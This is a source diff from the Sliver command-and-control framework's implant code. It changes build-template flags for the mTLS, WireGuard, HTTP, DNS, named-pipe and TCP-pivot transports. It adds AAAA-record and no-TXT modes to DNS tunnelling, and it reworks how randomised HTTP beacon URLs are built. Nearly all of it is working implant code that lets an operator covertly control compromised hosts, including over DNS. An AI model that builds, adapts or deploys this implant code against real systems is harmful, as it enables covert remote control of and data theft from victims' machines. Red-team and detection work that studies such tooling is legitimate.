// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
beacon = httpBeacon(uri)
// {{end}} - HTTPc2Enabled
// {{end}} - IncludeHTTP
case "dns":
// *** DNS ***
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
beacon = dnsBeacon(uri)
// {{end}} - DNSc2Enabled
// {{end}} - IncludeDNS
default:
// {{if .Config.Debug}}
@@ -180,7 +180,7 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
return nextBeacon
}
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
func mtlsBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
log.Printf("Beacon -> %s", uri.String())
@@ -230,7 +230,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
// {{end}}
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
func wgBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
log.Printf("Establishing Beacon -> %s", uri.String())
@@ -290,7 +290,7 @@ func wgBeacon(uri *url.URL) *Beacon {
// {{end}}
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
func httpBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
@@ -335,7 +335,7 @@ func httpBeacon(uri *url.URL) *Beacon {
// {{end}}
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
func dnsBeacon(uri *url.URL) *Beacon {
var client *dnsclient.SliverDNSClient
var err error
@@ -371,6 +371,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
return beacon
}
// {{end}} - DNSc2Enabled
// {{end}} - IncludeDNS
// {{end}} - IsBeacon
+123 -14
View File
@@ -50,7 +50,7 @@ package dnsclient
fallback to Base32 if we detect problems.
*/
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
import (
"crypto/rand"
@@ -92,6 +92,7 @@ var (
ErrInvalidResponse = errors.New("invalid response")
ErrInvalidIndex = errors.New("invalid start/stop index")
ErrEmptyResponse = errors.New("empty response")
ErrInvalidMsg = errors.New("invalid dns message")
)
// DNSOptions - c2 specific options
@@ -102,6 +103,7 @@ type DNSOptions struct {
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
NoTXT bool
ForceResolvConf string
ForceResolvers string
}
@@ -141,6 +143,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
}
@@ -167,6 +170,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
metadata: map[string]*ResolverMetadata{},
parent: parent,
forceBase32: opts.ForceBase32,
noTXT: opts.NoTXT,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
queryTimeout: opts.QueryTimeout,
@@ -192,6 +196,7 @@ type SliverDNSClient struct {
retryCount int
queryTimeout time.Duration
forceBase32 bool
noTXT bool
forceResolvConf string
forceResolvers string
subdataSpace int
@@ -256,6 +261,8 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
switch work.QueryType {
case dns.TypeA:
data, _, err = w.resolver.A(work.Domain)
case dns.TypeAAAA:
data, _, err = w.resolver.AAAA(work.Domain)
case dns.TypeTXT:
data, _, err = w.resolver.TXT(work.Domain)
}
@@ -292,7 +299,7 @@ func (s *SliverDNSClient) SessionInit() error {
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
@@ -340,6 +347,14 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
// {{if .Config.Debug}}
@@ -389,7 +404,14 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
resp := []byte{}
for _, subdata := range allSubdata {
respData, _, err := resolver.TXT(subdata)
var respData []byte
var err error
if s.noTXT {
respData, _, err = resolver.AAAA(subdata)
} else {
respData, _, err = resolver.TXT(subdata)
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg failure %v", err)
@@ -398,6 +420,11 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
if 0 < len(respData) {
resp = append(resp, respData...)
} else {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, ErrInvalidResponse
}
}
return resp, nil
@@ -425,6 +452,7 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {
// ReadEnvelope - Recv an envelope from the server
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
var respData []byte
if s.closed {
return nil, ErrClosed
}
@@ -444,14 +472,26 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("[dns] poll msg domain: %v", domain)
// {{end}}
respData, _, err := resolver.TXT(domain)
if err != nil {
return nil, err
if s.noTXT {
respData, _, err = resolver.AAAA(domain)
if err != nil {
return nil, err
}
} else {
respData, _, err = resolver.TXT(domain)
if err != nil {
return nil, err
}
}
// {{if .Config.Debug}}
log.Printf("[dns] read msg resp data: %v", respData)
// {{end}}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, nil
}
@@ -471,10 +511,38 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
return nil, err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return nil, nil
}
plaintext, err := s.cipherCtx.Decrypt(ciphertext)
if err != nil && err != cryptography.ErrReplayAttack {
return nil, err
}
//Send clear
clearMsg, err := s.clearMsg(dnsMsg.ID)
if err != nil {
return nil, err
}
domain, err = s.joinSubdataToParent(clearMsg)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[dns] clear msg domain: %v", domain)
// {{end}}
respData, _, err = resolver.A(domain)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] clear msg error: %s", err)
// {{end}}
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
return envelope, err
@@ -529,7 +597,12 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
return nil, ErrInvalidResponse
}
const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
var bytesPerTxt uint32
if s.noTXT {
bytesPerTxt = 192
} else {
bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
}
wg := &sync.WaitGroup{}
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
@@ -555,11 +628,21 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
}
wg.Add(1)
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
if s.noTXT {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeAAAA,
Domain: domain,
Wg: wg,
Results: results,
}
} else {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
}
}
}
@@ -570,6 +653,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
recvData := make(chan []byte)
errors := []error{}
go func() {
// {{if .Config.Debug}}
log.Printf("[dns] Manifest Len: %d ", manifest.Size)
// {{end}}
recvDataBuf := make([]byte, manifest.Size)
for result := range results {
if result.Err != nil {
@@ -577,11 +663,14 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
continue
}
// {{if .Config.Debug}}
log.Printf("[dns] read result data: %v", result.Data)
log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
// {{end}}
recvMsg := &dnspb.DNSMessage{}
err := proto.Unmarshal(result.Data, recvMsg)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] unmarshal error: %s", err)
// {{end}}
errors = append(errors, result.Err)
continue
}
@@ -589,6 +678,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
log.Printf("[dns] recv msg: %v", recvMsg)
// {{end}}
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
// {{if .Config.Debug}}
log.Printf("[dns] invalid index")
// {{end}}
errors = append(errors, ErrInvalidIndex)
continue
}
@@ -814,6 +906,23 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
}
}
func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
nonceBuf := make([]byte, 8)
rand.Read(nonceBuf)
clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
ID: msgId,
Type: dnspb.DNSMessageType_CLEAR,
Data: nonceBuf,
})
if s.enableCaseSensitiveEncoder {
msg, _ := s.base58.Encode(clearMsg)
return string(msg), nil
} else {
msg, _ := s.base32.Encode(clearMsg)
return string(msg), nil
}
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
@@ -992,4 +1101,4 @@ func (s *SliverDNSClient) randomResolver() (DNSResolver, *ResolverMetadata) {
return resolver, s.metadata[resolver.Address()]
}
// {{end}} -DNSc2Enabled
// {{end}} -IncludeDNS
@@ -39,7 +39,7 @@ var (
)
// NewGenericResolver - Instantiate a new generic resolver
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver {
if retries < 1 {
retries = 1
}
@@ -52,6 +52,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
WriteTimeout: timeout,
},
base64: encoders.Base64Encoder{},
parent: parent,
}
}
@@ -62,6 +63,7 @@ type GenericResolver struct {
retryWait time.Duration
resolver *dns.Client
base64 encoders.Base64Encoder
parent string
}
// Address - Return the address of the resolver
@@ -114,6 +116,87 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
return records, rtt, err
}
// AAAA - Query for AAAA records
func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) {
var resp []byte
var rtt time.Duration
var err error
for attempt := 0; attempt < r.retries; attempt++ {
resp, rtt, err = r.aaaa(domain)
if err == nil {
break
}
// {{if .Config.Debug}}
log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait)
// {{end}}
time.Sleep(r.retryWait)
}
return resp, rtt, err
}
func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain)
// {{end}}
resp, rtt, err := r.localQuery(domain, dns.TypeAAAA)
if err != nil {
return nil, rtt, err
}
if resp.Rcode != dns.RcodeSuccess {
// {{if .Config.Debug}}
log.Printf("[dns] error response status: %v", resp.Rcode)
// {{end}}
return nil, rtt, ErrInvalidRcode
}
records := make([]byte, 512)
dataSize := uint32(0)
if len(resp.Answer) > 0 {
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.AAAA:
// {{if .Config.Debug}}
log.Printf("[dns] answer (aaaa): %v", answer.AAAA)
// {{end}}
chunkMeta := uint32(answer.Hdr.Ttl)
chunkIdx := (chunkMeta & 0xff00) >> 8
// {{if .Config.Debug}}
log.Printf("[dns] chunk idx: %d", chunkIdx)
// {{end}}
tempSize := chunkMeta & 0xff
if dataSize != 0 {
if tempSize != dataSize {
// {{if .Config.Debug}}
log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize)
// {{end}}
return nil, rtt, ErrInvalidResponse
}
} else {
dataSize = tempSize
}
copy(records[chunkIdx*16:], []byte(answer.AAAA))
//records = append(records, []byte(answer.AAAA)...)
}
}
// {{if .Config.Debug}}
} else {
log.Printf("[dns] answer (aaaa): no records returned")
// {{end}}
}
data := []byte{}
if dataSize > 0 {
// Trim output data
data = make([]byte, dataSize)
copy(data, records[0:dataSize])
}
return data, rtt, err
}
// TXT - Query for TXT records
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
var resp []byte
@@ -145,18 +228,24 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
}
records := ""
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.TXT:
// {{if .Config.Debug}}
log.Printf("[dns] answer (txt): %v", answer.Txt)
// {{end}}
records += strings.Join(answer.Txt, "")
}
}
data := []byte{}
if 0 < len(records) {
data, err = r.base64.Decode([]byte(records))
if len(resp.Answer) > 0 {
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.TXT:
// {{if .Config.Debug}}
log.Printf("[dns] answer (txt): %v", answer.Txt)
// {{end}}
records += strings.Join(answer.Txt, "")
}
}
if 0 < len(records) {
data, err = r.base64.Decode([]byte(records))
}
// {{if .Config.Debug}}
} else {
log.Printf("[dns] answer (txt): no records returned")
// {{end}}
}
return data, rtt, err
}
@@ -19,6 +19,7 @@ package dnsclient
*/
import (
"context"
"net"
"strings"
"time"
@@ -70,6 +71,26 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
return addrs, rtt, nil
}
// AAAA - Query for AAAA records
func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain)
// {{end}}
started := time.Now()
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
rtt := time.Since(started)
if err != nil {
return nil, rtt, err
}
var addrs []byte
for _, ip := range ips {
if ip.To16() != nil {
addrs = append(addrs, ip.To16()...)
}
}
return addrs, rtt, nil
}
// TXT - Query for TXT records
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
@@ -26,5 +26,6 @@ import (
type DNSResolver interface {
Address() string
A(string) ([]byte, time.Duration, error)
AAAA(string) ([]byte, time.Duration, error)
TXT(string) ([]byte, time.Duration, error)
}
@@ -3,7 +3,7 @@ package main
import (
"flag"
"fmt"
"io/ioutil"
"io"
"os"
"os/user"
"path/filepath"
@@ -138,7 +138,7 @@ func processFile(
}
defer f.Close()
if b, err = ioutil.ReadAll(f); err != nil {
if b, err = io.ReadAll(f); err != nil {
return fmt.Errorf("failed to read %s: %w", file, err)
}
@@ -18,7 +18,7 @@ package httpclient
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
import (
"bytes"
@@ -48,8 +48,8 @@ import (
var (
goHTTPDriver = "go"
userAgent = "{{GenerateUserAgent}}"
nonceQueryArgs = "{{.HTTPC2ImplantConfig.NonceQueryArgs}}" // "abcdefghijklmnopqrstuvwxyz"
userAgent = "{{GenerateUserAgent}}"
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
@@ -57,8 +57,8 @@ var (
)
// {{if .Config.Debug}} -- UNIT TESTS ONLY
func SetNonceQueryArgs(queryArgs string) {
nonceQueryArgs = queryArgs
func SetNonceQueryArgChars(queryArgs string) {
NonceQueryArgChars = queryArgs
}
// {{end}}
@@ -71,6 +71,7 @@ type HTTPOptions struct {
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
NoFallback bool
DisableUpgradeHeader bool
HostHeader string
@@ -110,6 +111,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
NoFallback: c2URI.Query().Get("no-fallback") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
HostHeader: c2URI.Query().Get("host-header"),
@@ -133,7 +135,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
return client, nil
}
}
if err != nil || opts.ForceHTTP {
if (err != nil && !opts.NoFallback) || opts.ForceHTTP {
// If we're using default ports then switch to 80
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
@@ -195,11 +197,11 @@ func (s *SliverHTTPClient) SessionInit() error {
// NonceQueryArgument - Adds a nonce query argument to the URL
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
values := uri.Query()
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
argValue = argValue[:index] + char + argValue[index:]
}
values.Add(string(key), argValue)
@@ -210,11 +212,11 @@ func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.U
// OTPQueryArgument - Adds an OTP query argument to the URL
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
values := uri.Query()
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key1 := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
key2 := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(value))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
value = value[:index] + char + value[index:]
}
values.Add(string([]byte{key1, key2}), value)
@@ -275,7 +277,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
}
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
// {{range $param := .HTTPC2ImplantConfig.ExtraURLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
@@ -424,7 +426,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
if s.SessionID == "" {
return nil, errors.New("no session")
}
uri := s.pollURL()
uri := s.parseSegments(0)
nonce, encoder := encoders.RandomEncoder(0)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
@@ -499,7 +501,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
return err
}
uri := s.sessionURL()
uri := s.parseSegments(1)
nonce, encoder := encoders.RandomEncoder(len(reqData))
s.NonceQueryArgument(uri, nonce)
encodedValue, _ := encoder.Encode(reqData)
@@ -547,7 +549,7 @@ func (s *SliverHTTPClient) CloseSession() error {
s.pollCancel = nil
// Tell server session is closed
uri := s.closeURL()
uri := s.parseSegments(2)
nonce, _ := encoders.RandomEncoder(0)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
@@ -583,71 +585,75 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) pollURL() *url.URL {
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
curl, _ := url.Parse(s.Origin)
var (
pollFiles []string
pollPaths []string
sessionFiles []string
sessionPaths []string
closePaths []string
closeFiles []string
)
segments := []string{
// {{range .HTTPC2ImplantConfig.PollPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.PollFiles}}
"{{.}}",
// {{end}}
// {{range .HTTPC2ImplantConfig.PathSegments}}
// {{if eq .SegmentType 0 }}
// {{if .IsFile}}
pollFiles = append(pollFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
pollPaths = append(pollPaths, "{{.Value}}")
// {{end}}
// {{end}}
// {{if eq .SegmentType 1}}
// {{if .IsFile}}
sessionFiles = append(sessionFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
sessionPaths = append(sessionPaths, "{{.Value}}")
// {{end}}
// {{end}}
// {{if eq .SegmentType 2}}
// {{if .IsFile}}
closeFiles = append(closeFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
closePaths = append(closePaths, "{{.Value}}")
// {{end}}
// {{end}}
// {{end}}
switch segmentType {
case 0:
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
case 1:
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
case 2:
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
default:
return nil
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
return curl
}
func (s *SliverHTTPClient) startSessionURL() *url.URL {
sessionURI := s.sessionURL()
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
sessionURI := s.parseSegments(1)
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
curl, _ := url.Parse(uri)
return curl
}
func (s *SliverHTTPClient) sessionURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2ImplantConfig.SessionPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.SessionFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
return curl
}
func (s *SliverHTTPClient) closeURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2ImplantConfig.ClosePaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.CloseFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
genSegments := []string{}
if 0 < len(segments) {
n := insecureRand.Intn(len(segments)) // How many segments?
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
n := insecureRand.Intn(max-min+1) + min // How many segments?
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
@@ -702,4 +708,4 @@ func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
return client
}
// {{end}} -HTTPc2Enabled
// {{end}} -IncludeHTTP
+5 -5
View File
@@ -18,7 +18,7 @@ package mtls
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
import (
"bytes"
@@ -46,10 +46,10 @@ var (
PingInterval = 2 * time.Minute
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Config.MtlsCACert}}`
caCertPEM = `{{.Build.MtlsCACert}}`
keyPEM = `{{.Config.MtlsKey}}`
certPEM = `{{.Config.MtlsCert}}`
keyPEM = `{{.Build.MtlsKey}}`
certPEM = `{{.Build.MtlsCert}}`
)
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
@@ -186,4 +186,4 @@ func getTLSConfig() *tls.Config {
return tlsConfig
}
// {{end}} -MTLSc2Enabled
// {{end}} -IncludeMTLS
@@ -18,7 +18,7 @@ package pivotclients
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.NamePipec2Enabled}}
// {{if .Config.IncludeNamePipe}}
import (
"net/url"
@@ -63,4 +63,4 @@ func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*Net
return pivot, nil
}
// {{end}} -NamePipec2Enabled
// {{end}} -IncludeNamePipe
+30 -30
View File
@@ -19,12 +19,12 @@ package transports
*/
import (
// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
// {{if or .Config.IncludeWG .Config.IncludeHTTP}}
"net"
// {{end}}
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"strconv"
// {{end}}
@@ -32,14 +32,14 @@ import (
"log"
// {{end}}
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
"crypto/tls"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
// {{end}}
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
"errors"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
@@ -47,21 +47,21 @@ import (
// {{end}}
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
// {{end}}
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
// {{end}}
// {{if .Config.TCPPivotc2Enabled}}
// {{if .Config.IncludeTCP}}
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
"google.golang.org/protobuf/proto"
// {{end}}
// {{if not .Config.NamePipec2Enabled}}
// {{if not .Config.IncludeNamePipe}}
"io"
"net/url"
"sync"
@@ -106,7 +106,7 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
switch uri.Scheme {
// *** MTLS ***
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
case "mtls":
connection, err = mtlsConnect(uri)
if err != nil {
@@ -115,10 +115,10 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
// {{end}}
continue
}
// {{end}} - MTLSc2Enabled
// {{end}} - IncludeMTLS
case "wg":
// *** WG ***
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
connection, err = wgConnect(uri)
if err != nil {
// {{if .Config.Debug}}
@@ -126,12 +126,12 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
// {{end}}
continue
}
// {{end}} - WGc2Enabled
// {{end}} - IncludeWG
case "https":
fallthrough
case "http":
// *** HTTP ***
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
connection, err = httpConnect(uri)
if err != nil {
// {{if .Config.Debug}}
@@ -139,11 +139,11 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
// {{end}}
continue
}
// {{end}} - HTTPc2Enabled
// {{end}} - IncludeHTTP
case "dns":
// *** DNS ***
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
connection, err = dnsConnect(uri)
if err != nil {
// {{if .Config.Debug}}
@@ -151,11 +151,11 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
// {{end}}
continue
}
// {{end}} - DNSc2Enabled
// {{end}} - IncludeDNS
case "namedpipe":
// *** Named Pipe ***
// {{if .Config.NamePipec2Enabled}}
// {{if .Config.IncludeNamePipe}}
connection, err = namedPipeConnect(uri)
if err != nil {
// {{if .Config.Debug}}
@@ -163,10 +163,10 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
// {{end}}
continue
}
// {{end}} -NamePipec2Enabled
// {{end}} -IncludeNamePipe
case "tcppivot":
// {{if .Config.TCPPivotc2Enabled}}
// {{if .Config.IncludeTCP}}
connection, err = tcpPivotConnect(uri)
if err != nil {
// {{if .Config.Debug}}
@@ -174,7 +174,7 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
// {{end}}
continue
}
// {{end}} -TCPPivotc2Enabled
// {{end}} -IncludeTCP
default:
// {{if .Config.Debug}}
@@ -192,7 +192,7 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
return nextConnection
}
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
func mtlsConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
@@ -291,9 +291,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
return connection, nil
}
// {{end}} -MTLSc2Enabled
// {{end}} -IncludeMTLS
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
func wgConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
@@ -403,9 +403,9 @@ func wgConnect(uri *url.URL) (*Connection, error) {
return connection, nil
}
// {{end}} -WGc2Enabled
// {{end}} -IncludeWG
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
